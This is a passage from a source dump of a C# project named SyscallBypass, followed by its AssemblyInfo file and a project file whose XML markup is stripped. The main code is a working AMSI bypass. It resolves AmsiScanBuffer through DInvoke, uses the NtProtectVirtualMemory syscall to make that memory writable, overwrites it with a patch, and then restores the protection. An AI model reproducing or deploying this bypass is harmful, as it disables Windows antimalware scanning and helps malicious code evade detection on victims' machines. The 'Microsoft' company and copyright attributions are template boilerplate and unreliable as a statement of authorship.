DInvoke.DynamicGeneric.GetPebLdrModuleEntry("kernel32.dll"); 49 | 50 | // Get LoadLibraryA Address 51 | var pLoadLibrary = DInvoke.DynamicGeneric.GetExportAddress(pkernel32, "LoadLibraryA"); 52 | 53 | 54 | // Actually Call LoadLibraryA for the function mentioned above 55 | var lib = (IntPtr)DInvoke.DynamicGeneric.DynamicFunctionInvoke(pLoadLibrary, typeof(LoadLib), ref LoadLibparams); 56 | 57 | 58 | Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", lib.ToInt64()) + "\n"); 59 | 60 | 61 | 62 | 63 | /* 64 | Console.WriteLine("[>] Manually mapping kernel32.dll into current process memory \n"); 65 | 66 | DInvoke.PE.PE_MANUAL_MAP moduleDetails = DInvoke.Map.MapModuleToMemory("C:\\Windows\\System32\\kernel32.dll"); 67 | Console.WriteLine("\n[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n"); 68 | 69 | // Call LoadLibraryA for the lib from above 70 | var lib = (IntPtr)DInvoke.DynamicGeneric.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA", typeof(LoadLib), LoadLibparams); 71 | Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", lib.ToInt64()) + "\n"); 72 | 73 | //Remove the above if kernel32 mapping fails 74 | */ 75 | // Function to patch 76 | object[] GetProcAddressparams = 77 | { 78 | lib, 79 | "AmsiScanBuffer" 80 | }; 81 | 82 | // Parsing _PEB_LDR_DATA structure of kernel32.dll 83 | pkernel32 = DInvoke.DynamicGeneric.GetPebLdrModuleEntry("kernel32.dll"); 84 | 85 | // Get GetProcAddress Address 86 | pLoadLibrary = DInvoke.DynamicGeneric.GetExportAddress(pkernel32, "GetProcAddress"); 87 | 88 | // Actually Call GetProcAddress for the function mentioned above 89 | var addr = (IntPtr)DInvoke.DynamicGeneric.DynamicFunctionInvoke(pLoadLibrary, typeof(GProcAddr), ref GetProcAddressparams); 90 | 91 | Console.WriteLine("[>] Patch address : " + string.Format("{0:X}", addr.ToInt64()) + "\n"); 92 | 93 | uint oldProtect = 0; 94 | 95 | // NtProtectVirtualMemory Syscall 96 | IntPtr stub = DInvoke.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); 97 | NtProtectVirtualMemory NtProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); 98 | 99 | 100 | Process thisproc = Process.GetCurrentProcess(); 101 | 102 | // Save value of addr as this is increased by NtProtectVirtualMemory 103 | IntPtr oldaddress = addr; 104 | 105 | var regionSize = (IntPtr)patch.Length; 106 | oldProtect = 0; 107 | 108 | var result = NtProtectVirtualMemory( 109 | thisproc.Handle, 110 | ref addr, 111 | ref regionSize, 112 | 0x40, 113 | ref oldProtect); 114 | 115 | if (result == 0) 116 | { 117 | Console.WriteLine("[+] NtProtectVirtualMemory success, going to patch it now!\n"); 118 | } 119 | else 120 | { 121 | Console.WriteLine("[-] NtProtectVirtualMemory failed :-(\n"); 122 | Console.WriteLine("[-] Error code: " + result + "\n"); 123 | } 124 | 125 | 126 | Console.WriteLine("[>] Patching at address : " + string.Format("{0:X}", oldaddress.ToInt64()) + "\n"); 127 | 128 | Marshal.Copy(patch, 0, oldaddress, patch.Length); 129 | 130 | 131 | 132 | regionSize = (IntPtr)patch.Length; 133 | uint newoldProtect = 0; 134 | 135 | // CleanUp permissions back to oldprotect 136 | 137 | result = NtProtectVirtualMemory( 138 | thisproc.Handle, 139 | ref oldaddress, 140 | ref regionSize, 141 | oldProtect, 142 | ref newoldProtect); 143 | 144 | if (result == 0) 145 | { 146 | Console.WriteLine("[+] NtProtectVirtualMemory set back to oldprotect!\n"); 147 | } 148 | else 149 | { 150 | Console.WriteLine("[-] NtProtectVirtualMemory to restore oldprotect failed.\n"); 151 | Console.WriteLine("[-] Error code: " + result + "\n"); 152 | } 153 | 154 | 155 | } 156 | catch (Exception e) 157 | { 158 | Console.WriteLine(" [x] {0}", e.Message); 159 | Console.WriteLine(" [x] {0}", e.InnerException); 160 | } 161 | } 162 | 163 | // If you don't want a Library but a console application 164 | //public static void Main(string[] args) 165 | //{ 166 | // Patch(); 167 | //} 168 | 169 | 170 | private static bool is64Bit() 171 | { 172 | bool is64Bit = true; 173 | 174 | if (IntPtr.Size == 4) 175 | is64Bit = false; 176 | 177 | return is64Bit; 178 | } 179 | } 180 | 181 | } 182 | -------------------------------------------------------------------------------- /SyscallBypass/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Allgemeine Informationen über eine Assembly werden über die folgenden 6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 7 | // die einer Assembly zugeordnet sind. 8 | [assembly: AssemblyTitle("SyscallBypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("SyscallBypass")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly 18 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von 19 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. 20 | [assembly: ComVisible(false)] 21 | 22 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird 23 | [assembly: Guid("3e4e00bf-0903-4c5e-82e7-fd338b383dea")] 24 | 25 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 26 | // 27 | // Hauptversion 28 | // Nebenversion 29 | // Buildnummer 30 | // Revision 31 | // 32 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden, 33 | // indem Sie "*" wie unten gezeigt eingeben: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SyscallBypass/SyscallBypass.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA} 8 | Library 9 | SyscallBypass 10 | SyscallBypass 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | --------------------------------------------------------------------------------